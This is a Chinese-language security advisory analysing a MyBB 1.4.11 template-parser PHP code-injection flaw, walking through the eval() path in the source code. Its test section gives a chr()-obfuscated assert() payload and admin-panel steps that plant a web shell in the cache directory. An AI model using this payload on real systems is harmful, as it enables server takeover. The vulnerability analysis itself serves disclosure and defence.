MyBB模板解析器远程PHP代码注入漏洞

受影响系统:

MyBB MyBB 1.4.11

描述:


BUGTRAQ  ID: 38766

MyBB是一款流行的Web论坛程序。

MyBB的模板解析器中的安全漏洞可能允许管理员在安装了恶意模板后执行注入的PHP代码。在index.php文件336行左右代码如下:

//index.php,336行左右

$plugins->run_hooks("index_end");
//出现了eval函数,注意参数
eval("\$index = \"".$templates->get("index")."\";");
output_page($index);看以下eval()函数中的内容是否可以控制,继续找到templates类查看get函数的定义

//inc/class_templates.php,65行左右

function get($title, $eslashes=1, $htmlcomments=1)
    {
        global $db, $theme, $mybb;

        //
        // DEVELOPMENT MODE
        //
        if($mybb->dev_mode == 1)
        {
            $template = $this->dev_get($title);
            if($template !== false)
            {
                $this->cache[$title] = $template;
            }
        }

        if(!isset($this->cache[$title]))
        {
            $query = $db->simple_select("templates", "template", "title=’".$db->escape_string($title)."’ AND sid IN (‘-2′,’-1′,’".$theme[‘templateset’]."’)", array(‘order_by’ => ‘sid’, ‘order_dir’ => ‘DESC’, ‘limit’ => 1));
        //从数据库里面的取出模版的代码
            $gettemplate = $db->fetch_array($query);
            if($mybb->debug_mode)
            {
                $this->uncached_templates[$title] = $title;
            }

            if(!$gettemplate)
            {
                $gettemplate[‘template’] = "";
            }

            $this->cache[$title] = $gettemplate[‘template’];
        }
        $template = $this->cache[$title];

        if($htmlcomments)
        {
            if($mybb->settings[‘tplhtmlcomments’] == 1)
            {
                $template = "<!– start: ".htmlspecialchars_uni($title)." –>\n{$template}\n<!– end: ".htmlspecialchars_uni($title)." –>";
            }
            else
            {
                $template = "\n{$template}\n";
            }
        }

        if($eslashes)
        {
            $template = str_replace("\\’", "’", addslashes($template));
        }
        return $template;
    }

从上面的代码可以看出get()函数是从数据库里面取出模板的内容经过处理后返回给eval函数。数据库里的数据如下处理:

//admin/modules/style/templates.php,372行开始

    if($mybb->input[‘action’] == "edit_template")
{
    $plugins->run_hooks("admin_style_templates_edit_template");

    if(!$mybb->input[‘title’] || !$sid)
    {
        flash_message($lang->error_missing_input, ‘error’);
        admin_redirect("index.php?module=style/templates");
    }

    if($mybb->request_method == "post")
    {
        if(empty($mybb->input[‘title’]))
        {
            $errors[] = $lang->error_missing_title;
        }

        if(!$errors)
        {
            $query = $db->simple_select("templates", "*", "tid='{$mybb->input[‘tid’]}’");
            $template = $db->fetch_array($query);
            //获取到我们输入的内容,包括模板的标题和内容
            $template_array = array(
                ‘title’ => $db->escape_string($mybb->input[‘title’]),
                ‘sid’ => $sid,
                ‘template’ => $db->escape_string(trim($mybb->input[‘template’])),
                ‘version’ => $mybb->version_code,
                ‘status’ => ”,
                ‘dateline’ => TIME_NOW
            );

            // Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn’t get updated to the new modified template one. This then causes the master template to be overwritten
            $query = $db->simple_select("templates", "tid", "title=’".$db->escape_string($template[‘title’])."’ AND (sid = ‘-2’ OR sid = ‘{$template[‘sid’]}’)", array(‘order_by’ => ‘sid’, ‘order_dir’ => ‘desc’, ‘limit’ => 1));
            $template[‘tid’] = $db->fetch_field($query, "tid");

            if($sid > 0)
            {
                // Check to see if it’s never been edited before (i.e. master) of if this a new template (i.e. we’ve renamed it)  or if it’s a custom template
                $query = $db->simple_select("templates", "sid", "title=’".$db->escape_string($mybb->input[‘title’])."’ AND (sid = ‘-2’ OR sid = ‘{$sid}’ OR sid='{$template[‘sid’]}’)", array(‘order_by’ => ‘sid’, ‘order_dir’ => ‘desc’));
                $existing_sid = $db->fetch_field($query, "sid");
                $existing_rows = $db->num_rows($query);
                //更新模版数据库
                if(($existing_sid == -2 && $existing_rows == 1) || $existing_rows == 0)
                {
                    $tid = $db->insert_query("templates", $template_array);
                }
                else
                {
                    $db->update_query("templates", $template_array, "tid='{$template[‘tid’]}’ AND sid != ‘-2’");
                }
            }

从以上的代码可以发现这是一个典型的“二次”漏洞。在后台将php代码通过编辑模板注入到数据库,然后到访问前台文件取出代码进入eval函数成功执行代码,注入代码的时候要规避一些敏感符号。这个漏洞需要管理员权限才能利用,仅能作为后台getwebshell的方法。

<*来源:flyh4t
  
  链接:http://secunia.com/advisories/38941/
        http://huaidan.org/archives/3451.html
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

在后台Home -> Template Sets -> Default Templates选择Edit Template: index

在{$headerinclude}下写入如下一段代码后保存

{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(102).chr(108).chr(121).chr(104).chr(52).chr(116).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(119).chr(93).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(102).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

访问首页后将在cache目录下生成flyh4t.php,内容为<?php @$_POST[w]($_POST[f])?>,可以使用客户端连接。

建议:


厂商补丁:

MyBB
—-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mybboard.com/

发表评论?

0 条评论。

发表评论